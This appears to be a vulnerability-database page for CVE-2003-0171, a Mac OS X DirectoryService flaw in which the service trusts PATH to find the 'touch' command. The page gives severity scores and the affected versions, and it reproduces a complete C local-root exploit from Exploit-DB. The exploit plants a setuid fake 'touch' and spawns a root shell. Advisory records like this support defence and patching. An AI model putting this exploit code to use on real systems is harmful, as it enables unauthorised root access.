CVE-2003-0171 : Detail

CVE-2003-0171

0.13%V4
Local
2003-04-15
02h00 +00:00
2021-06-15
14h35 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

DirectoryServices in MacOS X trusts the PATH environment variable to locate and execute the touch command, which allows local users to execute arbitrary commands by modifying the PATH to point to a directory containing a malicious touch program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15

Publication date : 2003-04-17 22h00 +00:00
Author : Neeko Oni
EDB Verified : Yes

/* OS X <= 10.2.4 DirectoryService local root PATH exploit DirectoryService must be crashed prior to execution, per @stake advisory. If you discover how to crash DirectoryService e-mail me at neeko@haackey.com [Neeko Oni] -- Assuming DirectoryService has been crashed/killed, compile this code as 'touch' (gcc osxds.c -o touch) and execute. bash$ ./touch *bunch of stuff here* euid is root. bash# */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv) { char *ORIGPATH; int temp; if (argc < 2) { if (geteuid() == 0) { printf("euid is root.\n"); setuid(0); execl("/bin/bash", "bash", NULL); } strcpy(ORIGPATH, getenv("PATH")); printf("Original path: %s\n", ORIGPATH); setenv("PATH", ".", 1); printf("New path: %s\n", getenv("PATH")); printf("Executing DirectoryService with false PATH...\n"); if (fork() == 0) { execl("/usr/sbin/DirectoryService", "DirectoryService", NULL); } printf("Forked DirectoryService, pausing before shell exec...\n"); sleep(3); printf("Cross your fingers.\n"); setenv("PATH", ORIGPATH, 1); printf("Path restored: %s\n", getenv("PATH")); execl("./touch", "touch", NULL); } system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch"); } // milw0rm.com [2003-04-18]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x_server >> Version 10.0

Apple>>Mac_os_x_server >> Version 10.2

Apple>>Mac_os_x_server >> Version 10.2.1

Apple>>Mac_os_x_server >> Version 10.2.2

Apple>>Mac_os_x_server >> Version 10.2.3

Apple>>Mac_os_x_server >> Version 10.2.4

References

http://www.atstake.com/research/advisories/2003/a041003-1.txt
Tags : vendor-advisory, x_refsource_ATSTAKE